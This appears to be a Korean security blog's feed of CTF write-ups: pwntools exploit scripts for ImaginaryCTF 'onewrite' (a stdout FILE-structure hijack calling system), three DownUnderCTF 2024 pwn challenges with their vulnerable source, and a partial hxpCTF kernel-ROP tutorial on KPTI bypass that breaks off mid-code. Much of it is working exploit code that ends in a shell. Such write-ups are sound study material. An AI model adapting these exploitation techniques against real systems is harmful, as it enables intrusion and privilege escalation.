&lt;pre id=&quot;code_1721656551637&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *s; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v6; // [rsp+8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  printf(&quot;%p\n&amp;gt; &quot;, &amp;amp;printf);
  __isoc99_scanf(&quot;%p%*c&quot;, &amp;amp;s);
  fgets(s, 0x300, stdin);
  puts(&quot;bye&quot;);
  return v6 - __readfsqword(0x28u);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;원가젯 조건 안맞아서 system 함수 써야 했는데 rdi 인자로 들어가는 부분이 flag 필드다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;/bin/sh&quot;로 하니까 세그 폴트 나버려서 어떻게 할지 고민하다가&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;다른 씨텝 라업 보다가 &quot; sh&quot;로 문자열 앞에 공백을 주는 것을 보고 그대로 적용했는데 쉘 따져서 신기했다.&lt;/p&gt;
&lt;pre id=&quot;code_1721656741745&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

# p = process('./vuln')
libc = ELF('./libc.so.6')
p = remote('onewrite.chal.imaginaryctf.org', 1337)

p.recvline()
printf = int(p.recvline()[:-1],16)

libc_base = printf - libc.symbols['printf']
target = libc_base + libc.symbols['_IO_2_1_stdout_']
print('[stdout]',hex(target))

# gdb.attach(p)
# pause()

p.sendlineafter(b'&amp;gt;',hex(target))

io_wfile_jumps = libc_base + libc.symbols['_IO_wfile_jumps']
io_wfile_overflow = io_wfile_jumps + 0x18
fake_vtable = io_wfile_overflow - 0x38
print('[libc_base]',hex(libc_base))
print('[fake_vtable]',hex(fake_vtable))

one = [0xebcf1,0xebcf5,0xebcf8,0xebd52,0xebda8,0xebdaf,0xebdb3]
og = libc_base + one[0]
print('[og]',hex(og))

system = libc_base + libc.symbols['system']

pay = b' sh'+b'\x00'*5
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(target+0x80)
pay += p64(0)*2
pay += p64(target)
pay += p64(0)*6
pay += p64(fake_vtable)
pay += p64(target+0x80)
pay += p64(system)

p.sendline(pay)
p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[ unsolved ]&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;나머진 라업 보고 작성을 할 수도 안 할 수도..&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>CTF</category>
      <author>ssongk</author>
      <guid isPermaLink="true">https://ssongkit.tistory.com/825</guid>
      <comments>https://ssongkit.tistory.com/825#entry825comment</comments>
      <pubDate>Mon, 22 Jul 2024 23:01:32 +0900</pubDate>
    </item>
    <item>
      <title>DownUnderCTF 2024 (Pwn)</title>
      <link>https://ssongkit.tistory.com/824</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;272&quot; data-origin-height=&quot;228&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d7T6dp/btsIrr8V8tY/wjZeVSbYyK0XyuUPc27yb0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d7T6dp/btsIrr8V8tY/wjZeVSbYyK0XyuUPc27yb0/img.png&quot; data-alt=&quot;오랜만에 해서 그런가 감 다 떨어졌네..&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d7T6dp/btsIrr8V8tY/wjZeVSbYyK0XyuUPc27yb0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd7T6dp%2FbtsIrr8V8tY%2FwjZeVSbYyK0XyuUPc27yb0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;272&quot; height=&quot;228&quot; data-origin-width=&quot;272&quot; data-origin-height=&quot;228&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;오랜만에 해서 그런가 감 다 떨어졌네..&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[ solved ]&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;pwn / vector&amp;nbsp;overflow&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;pre id=&quot;code_1720446468049&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;string&amp;gt;
#include &amp;lt;vector&amp;gt;

char buf[16];
std::vector&amp;lt;char&amp;gt; v = {'X', 'X', 'X', 'X', 'X'};

void lose() {
    puts(&quot;Bye!&quot;);
    exit(1);
}

void win() {
    system(&quot;/bin/sh&quot;);
    exit(0);
}

int main() {
    char ductf[6] = &quot;DUCTF&quot;;
    char* d = ductf;

    std::cin &amp;gt;&amp;gt; buf;
    if(v.size() == 5) {
        for(auto &amp;amp;c : v) {
            if(c != *d++) {
                lose();
            }
        }

        win();
    }

    lose();
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;대충 디버거로 보고 벡터 v의 주소를 바꿔줬다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;buf+5는 디버깅할 때 보니 주소에 +5한 값들이 있길래 맞춰줬다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1720446482141&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

p = process('./vector_overflow')
p = remote('2024.ductf.dev', 30013)

buf = 0x4051e0

p.sendline(b'DUCTF\x00'.ljust(16,b'\x00') + p64(buf) + p64(buf+5) + p64(buf+5))
p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;pwn / yawa&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;pre id=&quot;code_1720446854213&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

void init() {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
}

int menu() {
    int choice;
    puts(&quot;1. Tell me your name&quot;);
    puts(&quot;2. Get a personalised greeting&quot;);
    printf(&quot;&amp;gt; &quot;);
    scanf(&quot;%d&quot;, &amp;amp;choice);
    return choice;
}

int main() {
    init();

    char name[88];
    int choice;

    while(1) {
        choice = menu();
        if(choice == 1) {
            read(0, name, 0x88);
        } else if(choice == 2) {
            printf(&quot;Hello, %s\n&quot;, name);
        } else {
            break;
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;간단한 bof 문제로 원샷 가젯 이용했다.&lt;/p&gt;
&lt;pre id=&quot;code_1720446876118&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

# p = process('./yawa')
p = remote('2024.ductf.dev', 30010)

def read_name(data):
	p.sendlineafter(b'&amp;gt;',b'1')
	p.send(data)

def print_name():
	p.sendlineafter(b'&amp;gt;',b'2')

read_name(b'A'*89)
print_name()
p.recvuntil(b'A'*89)
canary = u64(b'\x00'+p.recvn(7))
print('[canary]',hex(canary))

read_name(b'A'*104)
print_name()
p.recvuntil(b'A'*104)
libc = u64(p.recvn(6)+b'\x00'*2) - 0x29d90
print('[libc]',hex(libc))

rw_area = libc + 0x21a380
og = libc + 0xebc88
read_name(b'A'*88 + p64(canary) + p64(rw_area) + p64(og))

p.sendlineafter(b'&amp;gt;',b'0')

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[ unsolved ]&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;pwn / sign&amp;nbsp;in&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;거의 다 풀었는데 마지막에 발상의 전환을 못해서 못 푼 문제..&lt;/p&gt;
&lt;pre id=&quot;code_1720447111222&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys/random.h&amp;gt;

typedef struct {
    long uid;
    char username[8];
    char password[8];
} user_t;

typedef struct user_entry user_entry_t;
struct user_entry {
    user_t* user;
    user_entry_t* prev;
    user_entry_t* next;
};

user_entry_t user_list;
long UID = 1;

void init() {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
}

int menu() {
    int choice;
    puts(&quot;1. Sign up&quot;);
    puts(&quot;2. Sign in&quot;);
    puts(&quot;3. Remove account&quot;);
    puts(&quot;4. Get shell&quot;);
    printf(&quot;&amp;gt; &quot;);
    scanf(&quot;%d&quot;, &amp;amp;choice);
    return choice;
}

void sign_up() {
    user_t* user = malloc(sizeof(user_t));
    user_entry_t* entry = malloc(sizeof(user_entry_t));
    user-&amp;gt;uid = UID++;
    printf(&quot;username: &quot;);
    read(0, user-&amp;gt;username, 8);
    printf(&quot;password: &quot;);
    read(0, user-&amp;gt;password, 8);
    entry-&amp;gt;user = user;

    user_entry_t* curr = &amp;amp;user_list;
    while(curr-&amp;gt;next) {
        curr = curr-&amp;gt;next;
    }
    entry-&amp;gt;prev = curr;
    curr-&amp;gt;next = entry;
}

void remove_account(int uid) {
    user_entry_t* curr = &amp;amp;user_list;
    do {
        if(curr-&amp;gt;user-&amp;gt;uid == uid) {
            if(curr-&amp;gt;prev) {
                curr-&amp;gt;prev-&amp;gt;next = curr-&amp;gt;next;
            }
            if(curr-&amp;gt;next) {
                curr-&amp;gt;next-&amp;gt;prev = curr-&amp;gt;prev;
            }
            free(curr-&amp;gt;user);
            free(curr);
            break;
        }
        curr = curr-&amp;gt;next;
    } while(curr);
}

long sign_in() {
    char username[9] = {0};
    char password[9] = {0};
    printf(&quot;username: &quot;);
    read(0, username, 8);
    printf(&quot;password: &quot;);
    read(0, password, 8);
    user_entry_t* curr = &amp;amp;user_list;
    do {
        if(memcmp(curr-&amp;gt;user-&amp;gt;username, username, 8) == 0 &amp;amp;&amp;amp; memcmp(curr-&amp;gt;user-&amp;gt;password, password, 8) == 0) {
            printf(&quot;Logging in as %s\n&quot;, username);
            return curr-&amp;gt;user-&amp;gt;uid;
        }
        curr = curr-&amp;gt;next;
    } while(curr);
    return -1;
}

int main() {
    init();

    long uid = -1;
    user_t root = {
        .uid = 0,
        .username = &quot;root&quot;,
    };
    if(getrandom(root.password, 8, 0) != 8) {
        exit(1);
    }

    user_list.next = NULL;
    user_list.prev = NULL;
    user_list.user = &amp;amp;root;

    while(1) {
        int choice = menu();
        if(choice == 1) {
            sign_up();
        } else if(choice == 2) {
            uid = sign_in();
            if(uid == -1) {
                puts(&quot;Invalid username or password!&quot;);
            }
        } else if(choice == 3) {
            if(uid == -1) {
                puts(&quot;Please sign in first!&quot;);
            } else {
                remove_account(uid);
                uid = -1;
            }
        } else if(choice == 4) {
            if(uid == 0) {
                system(&quot;/bin/sh&quot;);
            } else {
                puts(&quot;Please sign in as root first!&quot;);
            }
        } else {
            exit(1);
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;구조체 2개가 멤버까지 동일한 사이즈이다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;해제하는 순서와 할당받는 순서가 다르기 때문에 password가 next로 되는 상황이 발생한다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;이를 이용해서 next가 가리키는 곳이 0을 가리키는 포인터가 된다면 uid를 0으로 만들 수 있겠다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;gef의 dump memory를 사용해서 바이너리에 존재하는 포인터들을 싹 확인해준다.&lt;/p&gt;
&lt;pre id=&quot;code_1720449078190&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;dump memory &amp;lt;output_file_name&amp;gt; &amp;lt;start_address&amp;gt; &amp;lt;end_address&amp;gt;

dump memory bin_dump 0x0000000000400000 0x0000000000405000&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;덤프 뜬 부분에서 0을 가리키는 포인터를 찾아준다.&lt;/p&gt;
&lt;pre id=&quot;code_1720449005832&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

f = open('./bin_dump','rb')
data = f.read()
f.close()

for i in range(0,len(data),8):
	value = u64(data[i:i+8])
	if 0x400000 &amp;lt;= value &amp;lt;= 0x405000:
		if u64(data[value-0x400000:value-0x400000+8]) == 0:
			print(hex(i),hex(value))&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1720448994783&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

# context.log_level = 'debug'

p = process('./sign-in')
p = remote('2024.ductf.dev', 30022)

def Signup(username,password):
	p.sendlineafter(b'&amp;gt;',b'1')
	p.sendafter(b'username',username)
	p.sendafter(b'password',password)

def Signin(username,password):
	p.sendlineafter(b'&amp;gt;',b'2')
	p.sendafter(b'username',username)
	p.sendafter(b'password',password)

def Remove():
	p.sendlineafter(b'&amp;gt;',b'3')

def Shell():
	p.sendlineafter(b'&amp;gt;',b'4')

user_list = 0x4040b0

Signup(b'z'*8,p64(0x403eb8))
Signin(b'z'*8,p64(0x403eb8))
Remove()

Signup(b'a'*8,b'a'*8)

Signin(p64(0),p64(0))
Shell()
p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;(나머지는 열어보지도 못했어서 시간 날 때 라업 보면서 풀어볼 예정)&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/DownUnderCTF/Challenges_2024_Public&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/DownUnderCTF/Challenges_2024_Public&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1720445822317&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - DownUnderCTF/Challenges_2024_Public: Files + Solutions for DownUnderCTF 2024 Challenges&quot; data-og-description=&quot;Files + Solutions for DownUnderCTF 2024 Challenges - DownUnderCTF/Challenges_2024_Public&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/DownUnderCTF/Challenges_2024_Public&quot; data-og-url=&quot;https://github.com/DownUnderCTF/Challenges_2024_Public&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/b3Z4vl/hyWzFcG5dx/vdq1psDfRxcxK7tdGUP0X0/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/DownUnderCTF/Challenges_2024_Public&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/DownUnderCTF/Challenges_2024_Public&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/b3Z4vl/hyWzFcG5dx/vdq1psDfRxcxK7tdGUP0X0/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - DownUnderCTF/Challenges_2024_Public: Files + Solutions for DownUnderCTF 2024 Challenges&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Files + Solutions for DownUnderCTF 2024 Challenges - DownUnderCTF/Challenges_2024_Public&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;</description>
      <category>CTF</category>
      <author>ssongk</author>
      <guid isPermaLink="true">https://ssongkit.tistory.com/824</guid>
      <comments>https://ssongkit.tistory.com/824#entry824comment</comments>
      <pubDate>Mon, 8 Jul 2024 23:32:36 +0900</pubDate>
    </item>
    <item>
      <title>[hxpCTF 2020] kernel-rop (with write-up) (2)</title>
      <link>https://ssongkit.tistory.com/821</link>
      <description>&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;지난 글(&lt;a href=&quot;https://ssongkit.tistory.com/820&quot;&gt;https://ssongkit.tistory.com/820&lt;/a&gt;)에 이어 남은 보호 기법인 KPTI, KASLR, FG-KASLR을 우회하는 방법을 배워보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size26&quot;&gt;1-1. Bypass KPTI: KPTI trampoline&lt;/h2&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;KTPI를 우회하는 방법 3가지를 공부해보자. 첫 번째는 KPTI trampoline이라고 부르는 기술이다. 커널에 빌트인으로 존재하는 기능이기 때문에 주로 쓰인다고 한다. 심볼 이름은 &quot;swapgs_restore_regs_and_return_to_usermode&quot;이다. 다음과 같이 주소를 검색한 뒤 vmlinux로 확인해보면 다음과 같다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1719583599651&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/ # cat /proc/kallsyms | grep  swapgs_restore_regs_and_return_to_usermode
ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;pop을 엄청 많이 하는 코드가 있는데 이 부분은 중요하지 않으므로 swapgs_restore_regs_and_return_to_usermode + 22(0x14)부터 사용해주면 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1719583820707&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;.text:FFFFFFFF81200F10                 pop     r15
.text:FFFFFFFF81200F12                 pop     r14
.text:FFFFFFFF81200F14                 pop     r13
.text:FFFFFFFF81200F16                 pop     r12
.text:FFFFFFFF81200F18                 pop     rbp
.text:FFFFFFFF81200F19                 pop     rbx
.text:FFFFFFFF81200F1A                 pop     r11
.text:FFFFFFFF81200F1C                 pop     r10
.text:FFFFFFFF81200F1E                 pop     r9
.text:FFFFFFFF81200F20                 pop     r8
.text:FFFFFFFF81200F22                 pop     rax
.text:FFFFFFFF81200F23                 pop     rcx
.text:FFFFFFFF81200F24                 pop     rdx
.text:FFFFFFFF81200F25                 pop     rsi
.text:FFFFFFFF81200F26                 mov     rdi, rsp
.text:FFFFFFFF81200F29                 mov     rsp, qword ptr gs:unk_6004
.text:FFFFFFFF81200F32                 push    qword ptr [rdi+30h]
.text:FFFFFFFF81200F35                 push    qword ptr [rdi+28h]
.text:FFFFFFFF81200F38                 push    qword ptr [rdi+20h]
.text:FFFFFFFF81200F3B                 push    qword ptr [rdi+18h]
.text:FFFFFFFF81200F3E                 push    qword ptr [rdi+10h]
.text:FFFFFFFF81200F41                 push    qword ptr [rdi]
.text:FFFFFFFF81200F43                 push    rax
.text:FFFFFFFF81200F44                 jmp     short loc_FFFFFFFF81200F89&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;이후 swapgs와 iretq를 수행한다.&lt;/p&gt;
&lt;pre id=&quot;code_1719583991561&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;.text:FFFFFFFF81200F89 loc_FFFFFFFF81200F89:                   ; CODE XREF: sub_FFFFFFFF812010D0-18C&amp;uarr;j
.text:FFFFFFFF81200F89                 pop     rax
.text:FFFFFFFF81200F8A                 pop     rdi
.text:FFFFFFFF81200F8B                 call    cs:off_FFFFFFFF82040088
.text:FFFFFFFF81200F91                 jmp     cs:off_FFFFFFFF82040080&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1719584003799&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;.text.native_swapgs:FFFFFFFF8146D4E0 sub_FFFFFFFF8146D4E0 proc near          ; CODE XREF: sub_FFFFFFFF8100A540+E&amp;uarr;p
.text.native_swapgs:FFFFFFFF8146D4E0                                         ; sub_FFFFFFFF8100A570+17&amp;uarr;p ...
.text.native_swapgs:FFFFFFFF8146D4E0                 push    rbp
.text.native_swapgs:FFFFFFFF8146D4E1                 mov     rbp, rsp
.text.native_swapgs:FFFFFFFF8146D4E4                 swapgs
.text.native_swapgs:FFFFFFFF8146D4E7                 pop     rbp
.text.native_swapgs:FFFFFFFF8146D4E8                 retn
.text.native_swapgs:FFFFFFFF8146D4E8 sub_FFFFFFFF8146D4E0 endp&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1719584022248&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;.text:FFFFFFFF81200FC0                 test    byte ptr [rsp+arg_18], 4
.text:FFFFFFFF81200FC5                 jnz     short loc_FFFFFFFF81200FC9
.text:FFFFFFFF81200FC7
.text:FFFFFFFF81200FC7 locret_FFFFFFFF81200FC7:                ; CODE XREF: sub_FFFFFFFF81200FC0+BD&amp;darr;j
.text:FFFFFFFF81200FC7                                         ; DATA XREF: sub_FFFFFFFF8100A930:loc_FFFFFFFF8100A9D0&amp;uarr;o ...
.text:FFFFFFFF81200FC7                 iretq&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;이제 run.sh에서 KPTI를 적용시키고 우회할 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1719584257455&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/bin/sh
qemu-system-x86_64 \
    -m 256M \
    -cpu kvm64,+smap,+smep \
    -kernel vmlinuz \
    -initrd initramfs.cpio.gz \
    -hdb flag.txt \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append &quot;console=ttyS0 nokaslr kpti=1 quiet panic=1&quot; \
    -s&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1719584396459&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;

uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t prepare_kernel_cred = 0xffffffff814c67f0;
uint64_t commit_creds = 0xffffffff814c6410;
uint64_t mov_rdi_rax_pop1 = 0xffffffff8100aedf;
uint64_t pop_rdi = 0xffffffff81006370;
uint64_t swapgs_pop1 = 0xffffffff8100a55f;
uint64_t iretq = 0xffffffff8100c0d9;
uint64_t kpti_trampoline = 0xffffffff81200f26;	

void shell(){
    system(&quot;/bin/sh&quot;);
}

int main(void) {
    uint64_t leak[0x18];
    uint64_t pay[0x28];
    uint64_t canary;
    uint64_t leak_addr;

    int fd = open(&quot;/dev/hackme&quot;, O_RDWR);    
    printf(&quot;fd: %d\n&quot;,fd);

    read(fd,leak,sizeof(leak));

    canary = leak[0x10];
    printf(&quot;canary: %llx\n&quot;,canary);

    for(int i=0; i&amp;lt;sizeof(pay)/8; i++){
				pay[i] = 0x4141414141414141;
    }

    __asm__(&quot;.intel_syntax noprefix;&quot;
            &quot;mov user_cs, cs;&quot;
            &quot;mov user_ss, ss;&quot;
            &quot;mov user_sp, rsp;&quot;
            &quot;pushf;&quot;
